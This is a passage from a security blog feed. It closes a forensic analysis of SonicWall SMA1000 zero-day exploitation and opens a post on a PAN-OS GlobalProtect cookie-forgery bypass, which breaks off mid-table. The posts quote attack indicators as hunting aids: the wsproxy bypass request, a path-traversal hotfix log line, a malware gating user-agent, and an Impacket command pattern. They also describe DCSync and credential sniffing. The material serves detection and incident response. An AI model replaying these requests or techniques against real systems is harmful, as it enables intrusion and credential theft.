&lt;p&gt;&lt;strong&gt;LDAP traffic capture depends on the network being unencrypted in the first place.&lt;/strong&gt; The tcpdump-based credential harvesting observed on Appliance 2 only worked because internal LDAP traffic was unencrypted. That’s not a gap in forensic visibility so much as a gap in the environment’s own hygiene, but it’s the kind of detail that determines whether “attacker got root on an appliance” turns into “attacker got a pile of domain credentials.”&lt;/p&gt;

&lt;h2 id=&quot;detection-and-hunting&quot;&gt;Detection and Hunting&lt;/h2&gt;

&lt;p&gt;The good news: this intrusion left a lot of log evidence, assuming you’re looking at the right logs and they haven’t rotated out from under you.&lt;/p&gt;

&lt;h3 id=&quot;key-log-sources&quot;&gt;Key Log Sources&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/log/aventail/extraweb_access.log&lt;/code&gt;&lt;/strong&gt; captures external web interaction, including the wsproxy bypass and webshell access. Look for:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;GET /wsproxy?bmID=-3389&amp;lt;suffix&amp;gt;&amp;amp;serviceType=SSH&amp;amp;host=0.0.0.0&amp;amp;port=1050 HTTP/1.1&quot; 101
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The combination of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wsproxy&lt;/code&gt;, a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bmID&lt;/code&gt; beginning with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-3389&lt;/code&gt;, and an HTTP 101 response status is the single strongest indicator in the whole chain. Rapid7’s guidance is to search this log for the string pattern &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;GET&quot; AND &quot;wsproxy&quot; AND &quot;=-3389&quot; AND &quot; 101 &quot;&lt;/code&gt;. A &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;host&lt;/code&gt; value of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;localhost&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0.0.0.0&lt;/code&gt;, or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;::ffff:127.0.0.1&lt;/code&gt; alongside that pattern all but confirms exploitation attempts against CVE-2026-15409. Legitimate uses of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;serviceType=SSH&lt;/code&gt; shouldn’t be pointing at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0.0.0.0&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Also watch for successful hits against the persistence routes:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;POST /__api__/logout HTTP/1.1&quot; 200
POST /__api__/login HTTP/1.1&quot; 200
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;HTTP 200 responses on these paths are a red flag; these paths only resolve to something meaningful once the attacker’s NGINX Unit route rewrites are in place.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/log/aventail/access_servers.log&lt;/code&gt;&lt;/strong&gt; provides corroborating WebSocket-level detail, including the client IP, connection port, and success/failure of the backend socket connection:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;::WEBSOCK::Socket connected to backend success host = 0.0.0.0 and port =1050
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/log/aventail/ctrl-service.log&lt;/code&gt;&lt;/strong&gt; captures the privilege escalation itself:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;running hotfix removal for:../../../../../tmp/1234.sh
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Any traversal sequence in a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;remove_hotfix&lt;/code&gt; invocation pointing outside the expected rollback directory is confirmed exploitation of CVE-2026-15410, full stop.&lt;/p&gt;

&lt;h3 id=&quot;additional-hunting-steps&quot;&gt;Additional Hunting Steps&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Check &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/lib/unit/conf.json&lt;/code&gt; for routes proxying to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;http://127.0.0.1:8085&lt;/code&gt;, or any route mapping &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/__api__/login&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/__api__/logout&lt;/code&gt; to anything at all. Neither should exist in a stock configuration.&lt;/li&gt;
  &lt;li&gt;Enumerate setuid binaries with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;find / -perm -4000&lt;/code&gt; and compare against the known-legitimate baseline (things like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;auth_pam_tool&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ssh-keysign&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;su&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sudo&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mount&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ping&lt;/code&gt;). Anything outside that baseline, especially something named innocuously like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xzfind&lt;/code&gt;, warrants investigation.&lt;/li&gt;
  &lt;li&gt;Inspect &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/tmp&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/tmp&lt;/code&gt; for unexpected scripts, especially ones owned by service accounts like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;couchdb&lt;/code&gt; rather than root or a human admin.&lt;/li&gt;
  &lt;li&gt;Hunt for the fixed user-agent string &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Mozilla/6.0 (Windows NT 11.0; Win64; x64) AppleWebKit/1537.136 (KHTML, like Gecko) Chrome/149.0.0.1 Safari/1537.136&lt;/code&gt; in any web-facing logs; it’s a gating string for the malware, not a real browser fingerprint.&lt;/li&gt;
  &lt;li&gt;On the network side, review authentication logs on internal directory servers for NTLM or LDAP logons (Windows Event ID 4624, logon type 3) originating from the SMA appliance’s own internal IP address, particularly under a service account, and particularly with non-inventory workstation names like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kali&lt;/code&gt; or generic &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DESKTOP-XXXXXXX&lt;/code&gt; hostnames with no corresponding active VPN session. That combination, appliance-internal-IP source plus no active tunnel, is close to a smoking gun for a fully compromised appliance being used as an unmonitored pivot point.&lt;/li&gt;
  &lt;li&gt;Watch for tcpdump or packet capture artifacts in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/tmp&lt;/code&gt;, particularly scripts capturing traffic to port 389 (LDAP).&lt;/li&gt;
  &lt;li&gt;Hunt for Impacket’s Secrets Dump and DCSync activity on domain controllers reachable from the appliance’s internal IP. Secrets Dump typically shows up as remote registry and SAM/LSA access against a target host (Windows Event IDs 4656, 4658, 4663 against registry hive handles, plus SMB/RPC access to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;\PIPE\svcctl&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;\PIPE\winreg&lt;/code&gt;), while DCSync presents as directory replication requests (Event ID 4662 with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DS-Replication-Get-Changes&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DS-Replication-Get-Changes-All&lt;/code&gt; access rights) from a source that isn’t a legitimate domain controller. Either technique showing up with the SMA appliance’s internal address as the source is a strong signal, on top of the plain anomalous-logon signal already noted above.&lt;/li&gt;
  &lt;li&gt;Don’t assume you’re dealing with a single actor. Huntress has independently reported multiple, unrelated intrusion sets riding this same vulnerability chain, so IOCs from one investigation (UTA0533’s tooling, for instance) won’t necessarily be present in a different compromise of the same vulnerability. Treat absence of KNUCKLEBALL/Suo5/ORANGETAIL artifacts as inconclusive, not as clearance.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Volexity has published YARA signatures for KNUCKLEBALL, Suo5, and ORANGETAIL in their &lt;a href=&quot;https://github.com/volexity/threat-intel/tree/main/2026/2026-07-17%20SonicWall&quot;&gt;threat-intel GitHub repository&lt;/a&gt;, and both Rapid7 and Horizon3.ai have released independent validation and Rapid Response tooling.&lt;/p&gt;

&lt;h2 id=&quot;remediation-and-workarounds&quot;&gt;Remediation and Workarounds&lt;/h2&gt;

&lt;p&gt;Patch. There is no meaningful workaround here, and multiple responders are explicit on this point.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Update to:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;12.4.3-03453 (platform-hotfix) or later&lt;/li&gt;
  &lt;li&gt;12.5.0-02835 (platform-hotfix) or later&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Beyond patching, given confirmed active exploitation and a demonstrated ability to persist without leaving disk artifacts:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Assume compromise for any internet-facing SMA1000 appliance that was running a vulnerable build between late June and mid-July 2026, and investigate before you simply patch and move on.&lt;/li&gt;
  &lt;li&gt;Restrict management interface and unnecessary service exposure to the internet if immediate patching isn’t feasible, even though this doesn’t close the underlying vulnerability.&lt;/li&gt;
  &lt;li&gt;Rotate all credentials associated with the appliance: administrator passwords, user passwords, and TOTP/MFA seeds. UTA0533 was specifically observed harvesting credentials and MFA seeds, so patching without rotation leaves the door key still in the attacker’s pocket.&lt;/li&gt;
  &lt;li&gt;Re-image physical appliances, or redeploy virtual appliances from a known-clean state, if any indicator of compromise is found. Given the memory-resident, disk-cleanup-conscious nature of the malware here, a straightforward “delete the bad files and patch” response is not sufficient assurance.&lt;/li&gt;
  &lt;li&gt;Review internal authentication logs on directory servers for evidence of lateral movement originating from the appliance, independent of whatever you find on the appliance itself.&lt;/li&gt;
  &lt;li&gt;If you have the capability, prioritize memory acquisition before disk imaging or before any reboot, planned or otherwise. As Appliance 2 demonstrates, a reboot may be the single most destructive event to your evidence, whether the attacker intended it or not.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;closing-assessment&quot;&gt;Closing Assessment&lt;/h2&gt;

&lt;p&gt;What makes this chain notable isn’t any single vulnerability class. SSRF and path traversal are both well-worn categories. What makes it notable is the discipline behind the operation built on top of them: an authentication bypass that only activates for a specific user-agent and parameter prefix, a privilege escalation routed through a service account rather than the more obvious control-service path, malware that injects into a legitimate process instead of dropping a standalone binary, log files symlinked to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/dev/null&lt;/code&gt; before injection, staged JARs deleted immediately after loading, and a custom webshell deliberately re-engineered to avoid the fingerprints of the well-known tool it’s functionally based on. This was not a smash-and-grab.&lt;/p&gt;

&lt;p&gt;Three things stand out from a forensic-reality standpoint, which is the lens this blog usually cares about most:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Memory-resident malware means disk forensics alone will miss the implant entirely.&lt;/strong&gt; Suo5 and ORANGETAIL exist only in the memory of a legitimate process once staging files are deleted. Without memory acquisition, you get the persistence hooks (the NGINX route changes) but not the payloads themselves.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;A reboot is the great equalizer against your evidence, and this exploit chain causes one as a side effect of its own privilege escalation step.&lt;/strong&gt; Whether by attacker design or accident, Appliance 2’s evidence trail was measurably thinner after its July 2 reboot. If your incident response process treats “reboot the affected device” as a routine containment step, reconsider that instinct for anything running memory-resident implants.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;A confirmed, evidence-backed reconstruction still had at least one honest gap.&lt;/strong&gt; Even with SSH access, full memory capture, and disk imaging, Volexity could not conclusively pin down the exact CouchDB exploitation technique. That’s not a criticism of the investigation, it’s a reminder that “we reconstructed the chain” and “we have first-hand proof of every step” are not the same claim, and good forensic writeups say so out loud instead of papering over it.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;This was never just an espionage-flavored curiosity, and it isn’t a single-actor story anymore.&lt;/strong&gt; UTA0533’s tradecraft (memory-resident implants, log manipulation, custom webshells built to dodge known signatures) reads like a patient, access-focused operation. But Rapid7 has since attributed a separate slice of the exploitation to Inc ransomware, with at least one case where ransomware was actually deployed, and Huntress has independently tied the same vulnerability chain to yet another, unrelated pair of intrusion sets across at least seven customers. The lesson isn’t “watch out for UTA0533 specifically.” It’s that once a chain like this is being used in the wild, whoever built the original tooling stops being the only threat model that matters. A capable initial-access broker’s work gets reused, copied, or independently rediscovered by whoever else is watching the same KEV entry, ransomware crews very much included.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Patch your SMA1000 appliances. Then go find out if you already needed to, and don’t assume the answer stays “no” just because the actor who compromised you isn’t the one everyone’s been writing about.&lt;/p&gt;

&lt;h2 id=&quot;references&quot;&gt;References&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Primary Research&lt;/strong&gt;: &lt;a href=&quot;https://www.volexity.com/blog/2026/07/17/proxying-to-compromise-sonicwall-secure-mobile-access-0-day-exploitation/&quot;&gt;Volexity, Proxying to Compromise: SonicWall Secure Mobile Access 0-day Exploitation&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Vendor Advisory&lt;/strong&gt;: &lt;a href=&quot;https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2026-0008&quot;&gt;SonicWall PSIRT, SNWLID-2026-0008&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Technical Analysis and PoC&lt;/strong&gt;: &lt;a href=&quot;https://www.rapid7.com/blog/post/etr-rapid7-mdr-team-discovers-new-sonicwall-sma1000-zero-days-being-actively-exploited-cve-2026-15409-cve-2026-15410/&quot;&gt;Rapid7, Rapid7 MDR Team Discovers New SonicWall SMA1000 Zero Days being Actively Exploited&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Public PoC&lt;/strong&gt;: &lt;a href=&quot;https://github.com/remmons-r7/rapid7-CVE-2026-15409&quot;&gt;remmons-r7/rapid7-CVE-2026-15409&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;YARA Signatures&lt;/strong&gt;: &lt;a href=&quot;https://github.com/volexity/threat-intel/tree/main/2026/2026-07-17%20SonicWall&quot;&gt;volexity/threat-intel&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;NVD Entries&lt;/strong&gt;: &lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-15409&quot;&gt;CVE-2026-15409&lt;/a&gt; / &lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-15410&quot;&gt;CVE-2026-15410&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Rapid Response Coverage&lt;/strong&gt;: &lt;a href=&quot;https://horizon3.ai/attack-research/vulnerabilities/cve-2026-15409-cve-2026-15410/&quot;&gt;Horizon3.ai, CVE-2026-15409 &amp;amp; CVE-2026-15410&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Ransomware Attribution&lt;/strong&gt;: &lt;a href=&quot;https://www.darkreading.com/vulnerabilities-threats/inc-ransomware-exploits-sonicwall-sma-zero-days&quot;&gt;Dark Reading, Inc Ransomware Exploits SonicWall SMA Zero-Days&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Multi-Actor Follow-up&lt;/strong&gt;: &lt;a href=&quot;https://www.cybersecuritydive.com/news/researchers-sonicwall-sma1000-exploitation-june/825654/&quot;&gt;Cybersecurity Dive, Researchers Trace SonicWall SMA1000 Exploitation to Late June&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Historical Context&lt;/strong&gt;: &lt;a href=&quot;https://fieldeffect.com/blog/sonicwall-sma1000-zero-days-exploited-targeted-attacks&quot;&gt;Field Effect, SonicWall SMA1000 Zero-Days Exploited in Targeted Attacks&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Tue, 21 Jul 2026 00:00:00 +0000</pubDate>
        <link>https://danielgott.me/2026/07/21/sonicwall_cve2026-15409/</link>
        <guid isPermaLink="true">https://danielgott.me/2026/07/21/sonicwall_cve2026-15409/</guid>
        
        <category>CVE-2026-15409</category>
        
        <category>CVE-2026-15410</category>
        
        <category>sonicwall</category>
        
        <category>vulnerability</category>
        
        <category>forensics</category>
        
      </item>
    
      <item>
        <title>PAN-OS GlobalProtect Authentication Bypass</title>
        <description>&lt;h2 id=&quot;the-short-version&quot;&gt;The Short Version&lt;/h2&gt;

&lt;p&gt;CVE-2026-0257 is an authentication bypass vulnerability in Palo Alto Networks PAN-OS affecting the GlobalProtect portal and gateway. The root cause is embarrassingly straightforward: the device trusts authentication override cookies that have been encrypted with a public key it happily hands out over TLS. No credentials required. No interaction from a user. Just an HTTPS handshake, a little RSA math, and you have a forged VPN session token the firewall accepts without complaint.&lt;/p&gt;

&lt;p&gt;The vendor originally scored this at CVSSv4 4.7. “Medium,” they said. CISA then added it to the Known Exploited Vulnerabilities catalog and mandated federal agencies patch by June 1, 2026. Rapid7 observed active exploitation across multiple customers starting May 17. The score was quietly revised to 7.8 before the dust settled. That CVSS trajectory should tell you everything you need to know about how the initial triage landed.&lt;/p&gt;

&lt;p&gt;This is a configuration-dependent vulnerability, which means it does not affect every PAN-OS deployment. But the configuration that enables it, authentication override cookies shared with the HTTPS certificate, is not exotic. It is a reasonable deployment pattern that a lot of organizations have been running for years.&lt;/p&gt;

&lt;hr /&gt;
&lt;h2 id=&quot;post-exploitation-observed-attacker-activity&quot;&gt;Post-Exploitation: Observed Attacker Activity&lt;/h2&gt;

&lt;p&gt;Once an attacker bypasses authentication and receives an internal &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;private_ip&lt;/code&gt; assignment, they immediately shift to internal network intrusion. In-the-wild tracking across compromised environments shows actors deploying an automated, noisy combination of three primary tools directly out of the unauthorized VPN sessions:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Nmap:&lt;/strong&gt; Broad internal scanning to map out subnets and locate Domain Controllers and high-value infrastructure.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Kerbrute:&lt;/strong&gt; Kerberos Pre-Authentication abuse on Domain Controllers to rapidly enumerate users and password spray accounts.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Impacket:&lt;/strong&gt; Lateral movement and remote command execution via SMB/WMI using harvested credentials to compromise internal endpoints.&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;1-internal-reconnaissance-via-nmap&quot;&gt;1. Internal Reconnaissance via Nmap&lt;/h3&gt;
&lt;p&gt;With an active VPN tunnel established, attackers use Nmap to map out internal segments, specifically hunting for Domain Controllers, file shares, and hypervisors.&lt;/p&gt;

&lt;h3 id=&quot;2-active-directory-enumeration-via-kerbrute&quot;&gt;2. Active Directory Enumeration via Kerbrute&lt;/h3&gt;
&lt;p&gt;To avoid triggering noisy account lockouts via traditional brute-forcing, attackers deploy &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kerbrute&lt;/code&gt; to abuse Kerberos Pre-Authentication for user enumeration and password spraying.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Log Fingerprints:&lt;/strong&gt; This activity completely bypasses standard Windows Security Event ID &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;4625&lt;/code&gt; (Failed Logon). Instead, look for a surge of &lt;strong&gt;Event ID 4768 (A Kerberos authentication ticket (TGT) was requested)&lt;/strong&gt; on your Domain Controllers originating from the VPN IP.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Specific Error Codes to Hunt:&lt;/strong&gt;
    &lt;ul&gt;
      &lt;li&gt;&lt;strong&gt;Result Code &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x6&lt;/code&gt;:&lt;/strong&gt; Client not found in Kerberos database. A single VPN IP cycling through hundreds of usernames triggering this code indicates active user enumeration.&lt;/li&gt;
      &lt;li&gt;&lt;strong&gt;Result Code &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x18&lt;/code&gt;:&lt;/strong&gt; Pre-authentication information invalid. This indicates a bad password and points to an active password-spraying campaign.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;3-lateral-movement-and-execution-via-impacket&quot;&gt;3. Lateral Movement and Execution via Impacket&lt;/h3&gt;
&lt;p&gt;Once credentials or local admin tokens are harvested, attackers leverage the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Impacket&lt;/code&gt; Python library to pivot laterally and execute code remotely on internal endpoints.&lt;/p&gt;

&lt;h4 id=&quot;a-psexecpy--smbexecpy-remote-service-creation&quot;&gt;A. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;psexec.py&lt;/code&gt; / &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;smbexec.py&lt;/code&gt; (Remote Service Creation)&lt;/h4&gt;
&lt;p&gt;These modules interact with the Service Control Manager (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;svcctl&lt;/code&gt;) over SMB (Port 445) to create a temporary, high-privilege system service.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Host Telemetry:&lt;/strong&gt; Look for &lt;strong&gt;Windows Security Log Event ID 4697&lt;/strong&gt; or &lt;strong&gt;System Log Event ID 7045 (A service was installed in the system)&lt;/strong&gt; on target servers.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Impacket Default Fingerprints:&lt;/strong&gt;
    &lt;ul&gt;
      &lt;li&gt;&lt;strong&gt;Service Name:&lt;/strong&gt; Random 4-to-8 alphanumeric characters (e.g., &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;BTOA&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;psexecsvc&lt;/code&gt;).&lt;/li&gt;
      &lt;li&gt;&lt;strong&gt;Service File Path:&lt;/strong&gt; Execution out of writable system shares, typically looking like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%SystemRoot%\System32\shares\&amp;lt;random&amp;gt;.exe&lt;/code&gt; or a direct invocation of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cmd.exe /Q /c&lt;/code&gt;.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;b-wmiexecpy-semi-interactive-shell-via-wmi&quot;&gt;B. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wmiexec.py&lt;/code&gt; (Semi-Interactive Shell via WMI)&lt;/h4&gt;
&lt;p&gt;For a stealthier approach that avoids service creation, attackers use WMI execution over RPC (Port 135) to spawn commands via the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Win32_Process&lt;/code&gt; class.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Host Telemetry:&lt;/strong&gt; Look for &lt;strong&gt;Windows Security Log Event ID 4688 (Process Creation)&lt;/strong&gt; tracking anomalous command shell behaviors.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Impacket Default Fingerprints:&lt;/strong&gt; Impacket pipes command outputs into hidden administrative shares. Look for this specific process lineage:
    &lt;ul&gt;
      &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WmiPrvSE.exe&lt;/code&gt; -&amp;gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cmd.exe /Q /c &amp;lt;command&amp;gt; &amp;gt; \\127.0.0.1\ADMIN$\__1234567890 2&amp;gt;&amp;amp;1&lt;/code&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;
&lt;h3 id=&quot;hunt-strategy-correlating-the-chain&quot;&gt;Hunt Strategy: Correlating the Chain&lt;/h3&gt;

&lt;p&gt;To turn these post-exploit observations into an actionable defense, defenders must link the initial perimeter entry point directly to internal network behavioral shifts:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;  [PAN-OS Firewall]                              [Active Directory]                            [Internal Endpoint]
   GlobalProtect Log                              Domain Controller                             Security Event Log
  ------------------                             -------------------                           -------------------
   Auth Type: &quot;Cookie&quot;                            Event ID: 4768 (TGT)                          Event ID: 4697 / 7045
   User: admin                                    Result Code: 0x6 / 0x18                       Service: &amp;lt;Random&amp;gt;.exe
   Source: Vultr/Dromatics IP  =======&amp;gt;           Src IP: Assigned VPN IP   =======&amp;gt;            Src IP: Assigned VPN IP
   Action: Assigns Private IP                     (Kerbrute Enumeration)                        (Impacket Lateral Pivot)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If your GlobalProtect logs show an unvalidated cookie login event, pivot immediately to your internal network logs and filter for all traffic originating from that specific internally assigned private_ip during the session window. Any instance of the internal IP interacting with a Domain Controller over Port 88 (Kerberos) or Port 445 (SMB) immediately following authentication should be treated as a confirmed active intrusion.&lt;/p&gt;

&lt;h2 id=&quot;timeline-and-abuse-history&quot;&gt;Timeline and Abuse History&lt;/h2&gt;

&lt;p&gt;The advisory came out on May 13, 2026, and was internally discovered by Palo Alto Networks’ own security research team. No external researcher credit. This is not unusual for edge device vulnerabilities, but it does leave a question open about whether anyone else found it earlier and just did not talk about it.&lt;/p&gt;

&lt;p&gt;The gap between disclosure and exploitation was four days. By May 17, Rapid7 MDR was already responding to alerts across customer environments. All source activity in that first wave traced back to Vultr-hosted infrastructure. The same spoofed MAC address (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;aa:bb:cc:dd:ee:ff&lt;/code&gt;, which is about as subtle as wearing a ski mask to a bank) appeared consistently across impacted organizations.&lt;/p&gt;

&lt;p&gt;A second exploitation wave hit on May 21. Same MAC address. Different infrastructure provider (Dromatics Systems this time). Based on behavioral consistency across both waves, Rapid7 assessed this was likely the same threat actor. In that second wave, the attacker went further: Rapid7 observed POST requests to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/ssl-vpn/hipreport.esp&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/ssl-vpn/getconfig.esp&lt;/code&gt;, which is the sequence that follows successful cookie authentication and results in an actual VPN tunnel being established.&lt;/p&gt;

&lt;p&gt;On May 29, CISA added CVE-2026-0257 to KEV. Also on May 29, Palo Alto updated their advisory to reflect active exploitation and bumped the CVSS. The deadline for federal civilian agencies was June 1, 2026.&lt;/p&gt;

&lt;p&gt;Today is June 5. If you are still unpatched and unmitigated, you are operating on borrowed time, and the threat actor has already shown they know your address.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;impacted-versions-and-patch-status&quot;&gt;Impacted Versions and Patch Status&lt;/h2&gt;

&lt;p&gt;The vulnerability requires a specific configuration to be present. The impacted product lines are PAN-OS physical and virtual firewalls and Prisma Access. Cloud NGFW and Panorama are not affected.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Required configuration for exposure:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;GlobalProtect portal or gateway must be configured&lt;/li&gt;
  &lt;li&gt;Authentication override cookies must be enabled (generate or accept)&lt;/li&gt;
  &lt;li&gt;The certificate used for authentication override cookie encryption must be the same certificate used for another feature, specifically the HTTPS service&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That last condition is the one that bites. Palo Alto’s own documentation does not scream at you to isolate this certificate. It is a design pattern that made operational sense, and now it is the attack vector.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Affected versions:&lt;/strong&gt;&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Product&lt;/th&gt;
      &lt;th&gt;Vulnerable&lt;/th&gt;
      &lt;th&gt;Fixed&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;PAN-OS 12.1&lt;/td&gt;
      &lt;td&gt;&amp;lt; 12.1.4-h6 or &amp;lt; 12.1.7&lt;/td&gt;
